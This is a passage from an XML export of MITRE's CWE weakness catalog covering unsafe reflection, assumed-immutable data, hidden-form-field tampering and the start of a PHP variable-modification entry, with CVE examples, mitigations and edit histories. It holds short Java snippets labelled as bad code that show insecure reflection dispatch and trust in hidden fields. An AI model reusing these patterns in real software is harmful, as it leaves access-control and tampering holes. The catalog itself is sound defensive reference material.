							attacker to instantiate any object that implements the Worker interface.
							If the command dispatcher is still responsible for access control, then
							whenever programmers create a new class that implements the Worker
							interface, they must remember to modify the dispatcher's access control
							code. If they do not modify the access control code, then some Worker
							classes will not have any access control.</Text>
						            <Text>One way to address this access control problem is to make the Worker
							object responsible for performing the access control check. An example
							of the re-refactored code follows:</Text>
						            <Block>
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ctl = request.getParameter("ctl");</Code>
							              <Code>Class cmdClass = Class.forName(ctl + "Command");</Code>
							              <Code>Worker ao = (Worker) cmdClass.newInstance();</Code>
							              <Code>ao.checkAccessControl(request);</Code>
							              <Code>ao.doAction(request);</Code>
						            </Block>
						            <Text>Although this is an improvement, it encourages a decentralized
							approach to access control, which makes it easier for programmers to
							make access control mistakes. This code also highlights another security
							problem with using reflection to build a command dispatcher. An attacker
							can invoke the default constructor for any kind of object. In fact, the
							attacker is not even constrained to objects that implement the Worker
							interface; the default constructor for any object in the system can be
							invoked. If the object does not implement the Worker interface, a
							ClassCastException will be thrown before the assignment to ao, but if
							the constructor performs operations that work in the attacker's favor,
							the damage will already have been done. Although this scenario is
							relatively benign in simple applications, in larger applications where
							complexity grows exponentially it is not unreasonable that an attacker
							could find a constructor to leverage as part of an attack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2331</Observed_Example_Reference>
					          <Observed_Example_Description>Database system allows attackers to bypass sandbox
						restrictions by using the Reflection APi.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Unsafe Reflection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use reflection to increase accessibility of classes,
						methods, or fields</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. start statement that accepts input</Text>
						            <Text>2. end statement that performs reflective operation and where the
							input is part of the target name of the reflective operation</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unsafe
						Reflection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Use of Externally-Controlled
						Input to Select Classes or Code (aka 'Unsafe
						Reflection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="471" Name="Modification of Assumed-Immutable Data (MAID)" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly protect an assumed-immutable
					element from being modified by an attacker.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Factors: MAID issues can be primary to many other weaknesses, and they are
						a major factor in languages such as PHP.</Text>
					          <Text>This happens when a particular input is critical enough to the functioning
						of the application that it should not be modifiable at all, but it is. A
						common programmer assumption is that certain variables are immutable;
						especially consider hidden form fields in web applications. So there are
						many examples where the MUTABILITY property is a major factor in a
						vulnerability.</Text>
					          <Text>Common data types that are attacked are environment variables, web
						application parameters, and HTTP headers.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement proper protection for immutable data (e.g. environment
							variable, hidden form fields, etc.)</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the code excerpt below, an array returned by a Java method is
						modified despite the fact that arrays are mutable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String[] colors = car.getAllPossibleColors();</Code>
							              <Code>colors[0] = "Red";</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1757</Observed_Example_Reference>
					          <Observed_Example_Description>Relies on $PHP_SELF variable for
						authentication.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1905</Observed_Example_Reference>
					          <Observed_Example_Description>Gain privileges by modifying assumed-immutable
						code addresses that are accessed by a driver.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Modification of Assumed-Immutable Data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>171</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>384</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>385</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>386</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>387</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>388</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="472" Name="External Control of Assumed-Immutable Web Parameter" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The web application does not sufficiently verify inputs that
					are assumed to be immutable but are actually externally controllable, such as
					hidden form fields.</Description_Summary>
				        <Extended_Description>
					          <Text>If a web product does not properly protect assumed-immutable values from
						modification in hidden form fields, parameters, cookies, or URLs, this can
						lead to modification of critical data. Web applications often mistakenly
						make the assumption that data passed to the client in hidden fields or
						cookies is not susceptible to tampering. Improper validation of data that
						are user-controllable can lead to the application processing incorrect, and
						often malicious, input.</Text>
					          <Text> For example, custom cookies commonly store session data or persistent
						data across sessions. This kind of session data is normally involved in
						security related decisions on the server side, such as user authentication
						and access control. Thus, the cookies might contain sensitive data such as
						user credentials and privileges. This is a dangerous practice, as it can
						often lead to improper reliance on the value of the client-provided cookie
						by the server side application. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>715</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is a primary weakness for many other weaknesses and functional
						consequences, including XSS, SQL injection, path disclosure, and file
						inclusion.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Assumed-Immutable Parameter Tampering</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Without appropriate protection mechanisms, the client can easily
							tamper with cookies and similar web data. Reliance on the cookies
							without detailed validation can lead to problems such as SQL injection.
							If you use cookie values for security related decisions on the server
							side, manipulating the cookies might lead to violations of security
							policies such as authentication bypassing, user impersonation and
							privilege escalation. In addition, storing sensitive data in the cookie
							without appropriate protection can also lead to disclosure of sensitive
							user data, especially data stored in persistent cookies.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here, a web application uses the value of a hidden form field
						(accountID) without having done any input validation because it was assumed
						to be immutable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String accountID = request.getParameter("accountID");</Code>
							              <Code>User user = getUserFromID(Long.parseLong(accountID));</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Text>Hidden fields should not be trusted as secure parameters. An attacker
							can intercept and alter hidden fields in a post to the server as easily
							as user input fields. An attacker can simply parse the HTML for the
							substring:</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt; input type "hidden"</Code>
							              <Text>or even just "hidden". Hidden field values displayed later in the
								session, such as on the following page, can open a site up to
								cross-site scripting attacks.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0108</Observed_Example_Reference>
					          <Observed_Example_Description>Forum product allows spoofed messages of other
						users via hidden form fields for name and e-mail
						address.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0253</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0254</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0926</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0101</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0102</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0758</Observed_Example_Reference>
					          <Observed_Example_Description>Allows admin access by modifying value of form
						field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1880</Observed_Example_Reference>
					          <Observed_Example_Description>Read messages by modifying message ID
						parameter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1234</Observed_Example_Reference>
					          <Observed_Example_Description>Send email to arbitrary users by modifying email
						parameter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1652</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass by setting a
						parameter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1784</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not check authorization for
						configuration change admin script, leading to password theft via modified
						e-mail address field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2314</Observed_Example_Reference>
					          <Observed_Example_Description>Logic error leads to password
						disclosure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1682</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of message number parameter allows
						attackers to read other people's messages.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>This is a technology-specific MAID problem.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden
						Form Fields." Page 75</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "Embedding State in HTML and URLs", Page
						1032.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Web Parameter Tampering</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Direct Object Reference</Mapped_Node_Name>
					          <Mapped_Node_ID>A4</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>146</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Other_Notes, Relationship_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Web Parameter
						Tampering</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="473" Name="PHP External Variable Modification" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A PHP application does not properly protect against the
					modification of variables from external sources, such as query parameters or
					cookies. This can expose the application to numerous weaknesses that would not
					exist otherwise.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
